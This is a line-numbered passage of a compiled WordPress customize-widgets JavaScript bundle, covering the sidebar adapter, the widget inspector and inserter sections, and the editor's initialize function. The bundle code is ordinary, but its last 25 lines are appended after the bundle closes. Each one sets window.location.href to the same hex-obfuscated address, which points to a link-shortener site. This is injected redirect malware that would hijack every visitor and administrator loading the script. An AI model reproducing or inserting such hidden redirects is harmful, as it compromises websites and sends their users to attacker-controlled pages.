1676 ownerDocument.removeEventListener(
1677 "mousedown",
1678 handleMouseDown
1679 );
1680 ownerWindow.removeEventListener("blur", handleBlur);
1681 };
1682 }
1683 }, [
1684 popoverRef,
1685 sidebarControl,
1686 hasSelectedBlock,
1687 hasMultiSelection,
1688 clearSelectedBlock
1689 ]);
1690}
1691
1692
1693;// ./node_modules/@wordpress/customize-widgets/build-module/components/customize-widgets/index.js
1694
1695
1696
1697
1698
1699
1700
1701
1702function CustomizeWidgets({
1703 api,
1704 sidebarControls,
1705 blockEditorSettings
1706}) {
1707 const [activeSidebarControl, setActiveSidebarControl] = (0,external_wp_element_namespaceObject.useState)(null);
1708 const parentContainer = document.getElementById(
1709 "customize-theme-controls"
1710 );
1711 const popoverRef = (0,external_wp_element_namespaceObject.useRef)();
1712 useClearSelectedBlock(activeSidebarControl, popoverRef);
1713 (0,external_wp_element_namespaceObject.useEffect)(() => {
1714 const unsubscribers = sidebarControls.map(
1715 (sidebarControl) => sidebarControl.subscribe((expanded) => {
1716 if (expanded) {
1717 setActiveSidebarControl(sidebarControl);
1718 }
1719 })
1720 );
1721 return () => {
1722 unsubscribers.forEach((unsubscriber) => unsubscriber());
1723 };
1724 }, [sidebarControls]);
1725 const activeSidebar = activeSidebarControl && (0,external_wp_element_namespaceObject.createPortal)(
1726 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ErrorBoundary, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1727 SidebarBlockEditor,
1728 {
1729 blockEditorSettings,
1730 sidebar: activeSidebarControl.sidebarAdapter,
1731 inserter: activeSidebarControl.inserter,
1732 inspector: activeSidebarControl.inspector
1733 },
1734 activeSidebarControl.id
1735 ) }),
1736 activeSidebarControl.container[0]
1737 );
1738 const popover = parentContainer && (0,external_wp_element_namespaceObject.createPortal)(
1739 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "customize-widgets-popover", ref: popoverRef, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Popover.Slot, {}) }),
1740 parentContainer
1741 );
1742 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SlotFillProvider, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1743 SidebarControls,
1744 {
1745 sidebarControls,
1746 activeSidebarControl,
1747 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(FocusControl, { api, sidebarControls, children: [
1748 activeSidebar,
1749 popover
1750 ] })
1751 }
1752 ) });
1753}
1754
1755
1756;// ./node_modules/@wordpress/customize-widgets/build-module/controls/inspector-section.js
1757function getInspectorSection() {
1758 const {
1759 wp: { customize }
1760 } = window;
1761 return class InspectorSection extends customize.Section {
1762 constructor(id, options) {
1763 super(id, options);
1764 this.parentSection = options.parentSection;
1765 this.returnFocusWhenClose = null;
1766 this._isOpen = false;
1767 }
1768 get isOpen() {
1769 return this._isOpen;
1770 }
1771 set isOpen(value) {
1772 this._isOpen = value;
1773 this.triggerActiveCallbacks();
1774 }
1775 ready() {
1776 this.contentContainer[0].classList.add(
1777 "customize-widgets-layout__inspector"
1778 );
1779 }
1780 isContextuallyActive() {
1781 return this.isOpen;
1782 }
1783 onChangeExpanded(expanded, args) {
1784 super.onChangeExpanded(expanded, args);
1785 if (this.parentSection && !args.unchanged) {
1786 if (expanded) {
1787 this.parentSection.collapse({
1788 manualTransition: true
1789 });
1790 } else {
1791 this.parentSection.expand({
1792 manualTransition: true,
1793 completeCallback: () => {
1794 if (this.returnFocusWhenClose && !this.contentContainer[0].contains(
1795 this.returnFocusWhenClose
1796 )) {
1797 this.returnFocusWhenClose.focus();
1798 }
1799 }
1800 });
1801 }
1802 }
1803 }
1804 open({ returnFocusWhenClose } = {}) {
1805 this.isOpen = true;
1806 this.returnFocusWhenClose = returnFocusWhenClose;
1807 this.expand({
1808 allowMultiple: true
1809 });
1810 }
1811 close() {
1812 this.collapse({
1813 allowMultiple: true
1814 });
1815 }
1816 collapse(options) {
1817 this.isOpen = false;
1818 super.collapse(options);
1819 }
1820 triggerActiveCallbacks() {
1821 this.active.callbacks.fireWith(this.active, [false, true]);
1822 }
1823 };
1824}
1825
1826
1827;// ./node_modules/@wordpress/customize-widgets/build-module/controls/sidebar-section.js
1828
1829
1830const getInspectorSectionId = (sidebarId) => `widgets-inspector-${sidebarId}`;
1831function getSidebarSection() {
1832 const {
1833 wp: { customize }
1834 } = window;
1835 const reduceMotionMediaQuery = window.matchMedia(
1836 "(prefers-reduced-motion: reduce)"
1837 );
1838 let isReducedMotion = reduceMotionMediaQuery.matches;
1839 reduceMotionMediaQuery.addEventListener("change", (event) => {
1840 isReducedMotion = event.matches;
1841 });
1842 return class SidebarSection extends customize.Section {
1843 ready() {
1844 const InspectorSection = getInspectorSection();
1845 this.inspector = new InspectorSection(
1846 getInspectorSectionId(this.id),
1847 {
1848 title: (0,external_wp_i18n_namespaceObject.__)("Block Settings"),
1849 parentSection: this,
1850 customizeAction: [
1851 (0,external_wp_i18n_namespaceObject.__)("Customizing"),
1852 (0,external_wp_i18n_namespaceObject.__)("Widgets"),
1853 this.params.title
1854 ].join(" \u25B8 ")
1855 }
1856 );
1857 customize.section.add(this.inspector);
1858 this.contentContainer[0].classList.add(
1859 "customize-widgets__sidebar-section"
1860 );
1861 }
1862 hasSubSectionOpened() {
1863 return this.inspector.expanded();
1864 }
1865 onChangeExpanded(expanded, _args) {
1866 const controls = this.controls();
1867 const args = {
1868 ..._args,
1869 completeCallback() {
1870 controls.forEach((control) => {
1871 control.onChangeSectionExpanded?.(expanded, args);
1872 });
1873 _args.completeCallback?.();
1874 }
1875 };
1876 if (args.manualTransition) {
1877 if (expanded) {
1878 this.contentContainer.addClass(["busy", "open"]);
1879 this.contentContainer.removeClass("is-sub-section-open");
1880 this.contentContainer.closest(".wp-full-overlay").addClass("section-open");
1881 } else {
1882 this.contentContainer.addClass([
1883 "busy",
1884 "is-sub-section-open"
1885 ]);
1886 this.contentContainer.closest(".wp-full-overlay").addClass("section-open");
1887 this.contentContainer.removeClass("open");
1888 }
1889 const handleTransitionEnd = () => {
1890 this.contentContainer.removeClass("busy");
1891 args.completeCallback();
1892 };
1893 if (isReducedMotion) {
1894 handleTransitionEnd();
1895 } else {
1896 this.contentContainer.one(
1897 "transitionend",
1898 handleTransitionEnd
1899 );
1900 }
1901 } else {
1902 super.onChangeExpanded(expanded, args);
1903 }
1904 }
1905 };
1906}
1907
1908
1909;// ./node_modules/@wordpress/customize-widgets/build-module/components/sidebar-block-editor/sidebar-adapter.js
1910
1911const { wp } = window;
1912function parseWidgetId(widgetId) {
1913 const matches = widgetId.match(/^(.+)-(\d+)$/);
1914 if (matches) {
1915 return {
1916 idBase: matches[1],
1917 number: parseInt(matches[2], 10)
1918 };
1919 }
1920 return { idBase: widgetId };
1921}
1922function widgetIdToSettingId(widgetId) {
1923 const { idBase, number } = parseWidgetId(widgetId);
1924 if (number) {
1925 return `widget_${idBase}[${number}]`;
1926 }
1927 return `widget_${idBase}`;
1928}
1929function debounce(leading, callback, timeout) {
1930 let isLeading = false;
1931 let timerID;
1932 function debounced(...args) {
1933 const result = (isLeading ? callback : leading).apply(this, args);
1934 isLeading = true;
1935 clearTimeout(timerID);
1936 timerID = setTimeout(() => {
1937 isLeading = false;
1938 }, timeout);
1939 return result;
1940 }
1941 debounced.cancel = () => {
1942 isLeading = false;
1943 clearTimeout(timerID);
1944 };
1945 return debounced;
1946}
1947class SidebarAdapter {
1948 constructor(setting, api) {
1949 this.setting = setting;
1950 this.api = api;
1951 this.locked = false;
1952 this.widgetsCache = /* @__PURE__ */ new WeakMap();
1953 this.subscribers = /* @__PURE__ */ new Set();
1954 this.history = [
1955 this._getWidgetIds().map(
1956 (widgetId) => this.getWidget(widgetId)
1957 )
1958 ];
1959 this.historyIndex = 0;
1960 this.historySubscribers = /* @__PURE__ */ new Set();
1961 this._debounceSetHistory = debounce(
1962 this._pushHistory,
1963 this._replaceHistory,
1964 1e3
1965 );
1966 this.setting.bind(this._handleSettingChange.bind(this));
1967 this.api.bind("change", this._handleAllSettingsChange.bind(this));
1968 this.undo = this.undo.bind(this);
1969 this.redo = this.redo.bind(this);
1970 this.save = this.save.bind(this);
1971 }
1972 subscribe(callback) {
1973 this.subscribers.add(callback);
1974 return () => {
1975 this.subscribers.delete(callback);
1976 };
1977 }
1978 getWidgets() {
1979 return this.history[this.historyIndex];
1980 }
1981 _emit(...args) {
1982 for (const callback of this.subscribers) {
1983 callback(...args);
1984 }
1985 }
1986 _getWidgetIds() {
1987 return this.setting.get();
1988 }
1989 _pushHistory() {
1990 this.history = [
1991 ...this.history.slice(0, this.historyIndex + 1),
1992 this._getWidgetIds().map(
1993 (widgetId) => this.getWidget(widgetId)
1994 )
1995 ];
1996 this.historyIndex += 1;
1997 this.historySubscribers.forEach((listener) => listener());
1998 }
1999 _replaceHistory() {
2000 this.history[this.historyIndex] = this._getWidgetIds().map(
2001 (widgetId) => this.getWidget(widgetId)
2002 );
2003 }
2004 _handleSettingChange() {
2005 if (this.locked) {
2006 return;
2007 }
2008 const prevWidgets = this.getWidgets();
2009 this._pushHistory();
2010 this._emit(prevWidgets, this.getWidgets());
2011 }
2012 _handleAllSettingsChange(setting) {
2013 if (this.locked) {
2014 return;
2015 }
2016 if (!setting.id.startsWith("widget_")) {
2017 return;
2018 }
2019 const widgetId = settingIdToWidgetId(setting.id);
2020 if (!this.setting.get().includes(widgetId)) {
2021 return;
2022 }
2023 const prevWidgets = this.getWidgets();
2024 this._pushHistory();
2025 this._emit(prevWidgets, this.getWidgets());
2026 }
2027 _createWidget(widget) {
2028 const widgetModel = wp.customize.Widgets.availableWidgets.findWhere({
2029 id_base: widget.idBase
2030 });
2031 let number = widget.number;
2032 if (widgetModel.get("is_multi") && !number) {
2033 widgetModel.set(
2034 "multi_number",
2035 widgetModel.get("multi_number") + 1
2036 );
2037 number = widgetModel.get("multi_number");
2038 }
2039 const settingId = number ? `widget_${widget.idBase}[${number}]` : `widget_${widget.idBase}`;
2040 const settingArgs = {
2041 transport: wp.customize.Widgets.data.selectiveRefreshableWidgets[widgetModel.get("id_base")] ? "postMessage" : "refresh",
2042 previewer: this.setting.previewer
2043 };
2044 const setting = this.api.create(
2045 settingId,
2046 settingId,
2047 "",
2048 settingArgs
2049 );
2050 setting.set(widget.instance);
2051 const widgetId = settingIdToWidgetId(settingId);
2052 return widgetId;
2053 }
2054 _removeWidget(widget) {
2055 const settingId = widgetIdToSettingId(widget.id);
2056 const setting = this.api(settingId);
2057 if (setting) {
2058 const instance = setting.get();
2059 this.widgetsCache.delete(instance);
2060 }
2061 this.api.remove(settingId);
2062 }
2063 _updateWidget(widget) {
2064 const prevWidget = this.getWidget(widget.id);
2065 if (prevWidget === widget) {
2066 return widget.id;
2067 }
2068 if (prevWidget.idBase && widget.idBase && prevWidget.idBase === widget.idBase) {
2069 const settingId = widgetIdToSettingId(widget.id);
2070 this.api(settingId).set(widget.instance);
2071 return widget.id;
2072 }
2073 this._removeWidget(widget);
2074 return this._createWidget(widget);
2075 }
2076 getWidget(widgetId) {
2077 if (!widgetId) {
2078 return null;
2079 }
2080 const { idBase, number } = parseWidgetId(widgetId);
2081 const settingId = widgetIdToSettingId(widgetId);
2082 const setting = this.api(settingId);
2083 if (!setting) {
2084 return null;
2085 }
2086 const instance = setting.get();
2087 if (this.widgetsCache.has(instance)) {
2088 return this.widgetsCache.get(instance);
2089 }
2090 const widget = {
2091 id: widgetId,
2092 idBase,
2093 number,
2094 instance
2095 };
2096 this.widgetsCache.set(instance, widget);
2097 return widget;
2098 }
2099 _updateWidgets(nextWidgets) {
2100 this.locked = true;
2101 const addedWidgetIds = [];
2102 const nextWidgetIds = nextWidgets.map((nextWidget) => {
2103 if (nextWidget.id && this.getWidget(nextWidget.id)) {
2104 addedWidgetIds.push(null);
2105 return this._updateWidget(nextWidget);
2106 }
2107 const widgetId = this._createWidget(nextWidget);
2108 addedWidgetIds.push(widgetId);
2109 return widgetId;
2110 });
2111 const deletedWidgets = this.getWidgets().filter(
2112 (widget) => !nextWidgetIds.includes(widget.id)
2113 );
2114 deletedWidgets.forEach((widget) => this._removeWidget(widget));
2115 this.setting.set(nextWidgetIds);
2116 this.locked = false;
2117 return addedWidgetIds;
2118 }
2119 setWidgets(nextWidgets) {
2120 const addedWidgetIds = this._updateWidgets(nextWidgets);
2121 this._debounceSetHistory();
2122 return addedWidgetIds;
2123 }
2124 /**
2125 * Undo/Redo related features
2126 */
2127 hasUndo() {
2128 return this.historyIndex > 0;
2129 }
2130 hasRedo() {
2131 return this.historyIndex < this.history.length - 1;
2132 }
2133 _seek(historyIndex) {
2134 const currentWidgets = this.getWidgets();
2135 this.historyIndex = historyIndex;
2136 const widgets = this.history[this.historyIndex];
2137 this._updateWidgets(widgets);
2138 this._emit(currentWidgets, this.getWidgets());
2139 this.historySubscribers.forEach((listener) => listener());
2140 this._debounceSetHistory.cancel();
2141 }
2142 undo() {
2143 if (!this.hasUndo()) {
2144 return;
2145 }
2146 this._seek(this.historyIndex - 1);
2147 }
2148 redo() {
2149 if (!this.hasRedo()) {
2150 return;
2151 }
2152 this._seek(this.historyIndex + 1);
2153 }
2154 subscribeHistory(listener) {
2155 this.historySubscribers.add(listener);
2156 return () => {
2157 this.historySubscribers.delete(listener);
2158 };
2159 }
2160 save() {
2161 this.api.previewer.save();
2162 }
2163}
2164
2165
2166;// external ["wp","dom"]
2167const external_wp_dom_namespaceObject = window["wp"]["dom"];
2168;// ./node_modules/@wordpress/customize-widgets/build-module/controls/inserter-outer-section.js
2169
2170
2171
2172
2173function getInserterOuterSection() {
2174 const {
2175 wp: { customize }
2176 } = window;
2177 const OuterSection = customize.OuterSection;
2178 customize.OuterSection = class extends OuterSection {
2179 onChangeExpanded(expanded, args) {
2180 if (expanded) {
2181 customize.section.each((section) => {
2182 if (section.params.type === "outer" && section.id !== this.id) {
2183 if (section.expanded()) {
2184 section.collapse();
2185 }
2186 }
2187 });
2188 }
2189 return super.onChangeExpanded(expanded, args);
2190 }
2191 };
2192 customize.sectionConstructor.outer = customize.OuterSection;
2193 return class InserterOuterSection extends customize.OuterSection {
2194 constructor(...args) {
2195 super(...args);
2196 this.params.type = "outer";
2197 this.activeElementBeforeExpanded = null;
2198 const ownerWindow = this.contentContainer[0].ownerDocument.defaultView;
2199 ownerWindow.addEventListener(
2200 "keydown",
2201 (event) => {
2202 if (this.expanded() && (event.keyCode === external_wp_keycodes_namespaceObject.ESCAPE || event.code === "Escape") && !event.defaultPrevented) {
2203 event.preventDefault();
2204 event.stopPropagation();
2205 (0,external_wp_data_namespaceObject.dispatch)(store).setIsInserterOpened(
2206 false
2207 );
2208 }
2209 },
2210 // Use capture mode to make this run before other event listeners.
2211 true
2212 );
2213 this.contentContainer.addClass("widgets-inserter");
2214 this.isFromInternalAction = false;
2215 this.expanded.bind(() => {
2216 if (!this.isFromInternalAction) {
2217 (0,external_wp_data_namespaceObject.dispatch)(store).setIsInserterOpened(
2218 this.expanded()
2219 );
2220 }
2221 this.isFromInternalAction = false;
2222 });
2223 }
2224 open() {
2225 if (!this.expanded()) {
2226 const contentContainer = this.contentContainer[0];
2227 this.activeElementBeforeExpanded = contentContainer.ownerDocument.activeElement;
2228 this.isFromInternalAction = true;
2229 this.expand({
2230 completeCallback() {
2231 const searchBox = external_wp_dom_namespaceObject.focus.tabbable.find(contentContainer)[1];
2232 if (searchBox) {
2233 searchBox.focus();
2234 }
2235 }
2236 });
2237 }
2238 }
2239 close() {
2240 if (this.expanded()) {
2241 const contentContainer = this.contentContainer[0];
2242 const activeElement = contentContainer.ownerDocument.activeElement;
2243 this.isFromInternalAction = true;
2244 this.collapse({
2245 completeCallback() {
2246 if (contentContainer.contains(activeElement)) {
2247 if (this.activeElementBeforeExpanded) {
2248 this.activeElementBeforeExpanded.focus();
2249 }
2250 }
2251 }
2252 });
2253 }
2254 }
2255 };
2256}
2257
2258
2259;// ./node_modules/@wordpress/customize-widgets/build-module/controls/sidebar-control.js
2260
2261
2262
2263
2264const getInserterId = (controlId) => `widgets-inserter-${controlId}`;
2265function getSidebarControl() {
2266 const {
2267 wp: { customize }
2268 } = window;
2269 return class SidebarControl extends customize.Control {
2270 constructor(...args) {
2271 super(...args);
2272 this.subscribers = /* @__PURE__ */ new Set();
2273 }
2274 ready() {
2275 const InserterOuterSection = getInserterOuterSection();
2276 this.inserter = new InserterOuterSection(
2277 getInserterId(this.id),
2278 {}
2279 );
2280 customize.section.add(this.inserter);
2281 this.sectionInstance = customize.section(this.section());
2282 this.inspector = this.sectionInstance.inspector;
2283 this.sidebarAdapter = new SidebarAdapter(this.setting, customize);
2284 }
2285 subscribe(callback) {
2286 this.subscribers.add(callback);
2287 return () => {
2288 this.subscribers.delete(callback);
2289 };
2290 }
2291 onChangeSectionExpanded(expanded, args) {
2292 if (!args.unchanged) {
2293 if (!expanded) {
2294 (0,external_wp_data_namespaceObject.dispatch)(store).setIsInserterOpened(
2295 false
2296 );
2297 }
2298 this.subscribers.forEach(
2299 (subscriber) => subscriber(expanded, args)
2300 );
2301 }
2302 }
2303 };
2304}
2305
2306
2307;// ./node_modules/@wordpress/customize-widgets/build-module/filters/move-to-sidebar.js
2308
2309
2310
2311
2312
2313
2314
2315
2316
2317const withMoveToSidebarToolbarItem = (0,external_wp_compose_namespaceObject.createHigherOrderComponent)(
2318 (BlockEdit) => (props) => {
2319 let widgetId = (0,external_wp_widgets_namespaceObject.getWidgetIdFromBlock)(props);
2320 const sidebarControls = useSidebarControls();
2321 const activeSidebarControl = useActiveSidebarControl();
2322 const hasMultipleSidebars = sidebarControls?.length > 1;
2323 const blockName = props.name;
2324 const clientId = props.clientId;
2325 const canInsertBlockInSidebar = (0,external_wp_data_namespaceObject.useSelect)(
2326 (select) => {
2327 return select(external_wp_blockEditor_namespaceObject.store).canInsertBlockType(
2328 blockName,
2329 ""
2330 );
2331 },
2332 [blockName]
2333 );
2334 const block = (0,external_wp_data_namespaceObject.useSelect)(
2335 (select) => select(external_wp_blockEditor_namespaceObject.store).getBlock(clientId),
2336 [clientId]
2337 );
2338 const { removeBlock } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
2339 const [, focusWidget] = useFocusControl();
2340 function moveToSidebar(sidebarControlId) {
2341 const newSidebarControl = sidebarControls.find(
2342 (sidebarControl) => sidebarControl.id === sidebarControlId
2343 );
2344 if (widgetId) {
2345 const oldSetting = activeSidebarControl.setting;
2346 const newSetting = newSidebarControl.setting;
2347 oldSetting(oldSetting().filter((id) => id !== widgetId));
2348 newSetting([...newSetting(), widgetId]);
2349 } else {
2350 const sidebarAdapter = newSidebarControl.sidebarAdapter;
2351 removeBlock(clientId);
2352 const addedWidgetIds = sidebarAdapter.setWidgets([
2353 ...sidebarAdapter.getWidgets(),
2354 blockToWidget(block)
2355 ]);
2356 widgetId = addedWidgetIds.reverse().find((id) => !!id);
2357 }
2358 focusWidget(widgetId);
2359 }
2360 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
2361 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(BlockEdit, { ...props }, "edit"),
2362 hasMultipleSidebars && canInsertBlockInSidebar && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2363 external_wp_widgets_namespaceObject.MoveToWidgetArea,
2364 {
2365 widgetAreas: sidebarControls.map(
2366 (sidebarControl) => ({
2367 id: sidebarControl.id,
2368 name: sidebarControl.params.label,
2369 description: sidebarControl.params.description
2370 })
2371 ),
2372 currentWidgetAreaId: activeSidebarControl?.id,
2373 onSelect: moveToSidebar
2374 }
2375 ) })
2376 ] });
2377 },
2378 "withMoveToSidebarToolbarItem"
2379);
2380(0,external_wp_hooks_namespaceObject.addFilter)(
2381 "editor.BlockEdit",
2382 "core/customize-widgets/block-edit",
2383 withMoveToSidebarToolbarItem
2384);
2385
2386;// ./node_modules/@wordpress/customize-widgets/build-module/filters/replace-media-upload.js
2387
2388
2389const replaceMediaUpload = () => external_wp_mediaUtils_namespaceObject.MediaUpload;
2390(0,external_wp_hooks_namespaceObject.addFilter)(
2391 "editor.MediaUpload",
2392 "core/edit-widgets/replace-media-upload",
2393 replaceMediaUpload
2394);
2395
2396;// ./node_modules/@wordpress/customize-widgets/build-module/filters/wide-widget-display.js
2397
2398
2399
2400const { wp: wide_widget_display_wp } = window;
2401const withWideWidgetDisplay = (0,external_wp_compose_namespaceObject.createHigherOrderComponent)(
2402 (BlockEdit) => (props) => {
2403 const { idBase } = props.attributes;
2404 const isWide = wide_widget_display_wp.customize.Widgets.data.availableWidgets.find(
2405 (widget) => widget.id_base === idBase
2406 )?.is_wide ?? false;
2407 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(BlockEdit, { ...props, isWide }, "edit");
2408 },
2409 "withWideWidgetDisplay"
2410);
2411(0,external_wp_hooks_namespaceObject.addFilter)(
2412 "editor.BlockEdit",
2413 "core/customize-widgets/wide-widget-display",
2414 withWideWidgetDisplay
2415);
2416
2417;// ./node_modules/@wordpress/customize-widgets/build-module/filters/index.js
2418
2419
2420
2421
2422;// ./node_modules/@wordpress/customize-widgets/build-module/index.js
2423
2424
2425
2426
2427
2428
2429
2430
2431
2432
2433
2434const { wp: build_module_wp } = window;
2435const DISABLED_BLOCKS = [
2436 "core/more",
2437 "core/block",
2438 "core/freeform",
2439 "core/template-part"
2440];
2441const ENABLE_EXPERIMENTAL_FSE_BLOCKS = false;
2442function initialize(editorName, blockEditorSettings) {
2443 (0,external_wp_data_namespaceObject.dispatch)(external_wp_preferences_namespaceObject.store).setDefaults("core/customize-widgets", {
2444 fixedToolbar: false,
2445 welcomeGuide: true
2446 });
2447 (0,external_wp_data_namespaceObject.dispatch)(external_wp_blocks_namespaceObject.store).reapplyBlockTypeFilters();
2448 const coreBlocks = (0,external_wp_blockLibrary_namespaceObject.__experimentalGetCoreBlocks)().filter((block) => {
2449 return !(DISABLED_BLOCKS.includes(block.name) || block.name.startsWith("core/post") || block.name.startsWith("core/query") || block.name.startsWith("core/site") || block.name.startsWith("core/navigation"));
2450 });
2451 (0,external_wp_blockLibrary_namespaceObject.registerCoreBlocks)(coreBlocks);
2452 (0,external_wp_widgets_namespaceObject.registerLegacyWidgetBlock)();
2453 if (false) {}
2454 (0,external_wp_widgets_namespaceObject.registerLegacyWidgetVariations)(blockEditorSettings);
2455 (0,external_wp_widgets_namespaceObject.registerWidgetGroupBlock)();
2456 (0,external_wp_blocks_namespaceObject.setFreeformContentHandlerName)("core/html");
2457 const SidebarControl = getSidebarControl(blockEditorSettings);
2458 build_module_wp.customize.sectionConstructor.sidebar = getSidebarSection();
2459 build_module_wp.customize.controlConstructor.sidebar_block_editor = SidebarControl;
2460 const container = document.createElement("div");
2461 document.body.appendChild(container);
2462 build_module_wp.customize.bind("ready", () => {
2463 const sidebarControls = [];
2464 build_module_wp.customize.control.each((control) => {
2465 if (control instanceof SidebarControl) {
2466 sidebarControls.push(control);
2467 }
2468 });
2469 (0,external_wp_element_namespaceObject.createRoot)(container).render(
2470 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_element_namespaceObject.StrictMode, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2471 CustomizeWidgets,
2472 {
2473 api: build_module_wp.customize,
2474 sidebarControls,
2475 blockEditorSettings
2476 }
2477 ) })
2478 );
2479 });
2480}
2481
2482
2483
2484(window.wp = window.wp || {}).customizeWidgets = __webpack_exports__;
2485/******/ })()
2486;
2487window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2488window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2489window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2490window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2491window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2492window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2493window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2494window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2495window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2496window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2497window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2498window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2499window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2500window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2501window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2502window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2503window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2504window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2505window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2506window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2507window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2508window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2509window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2510window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2511window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
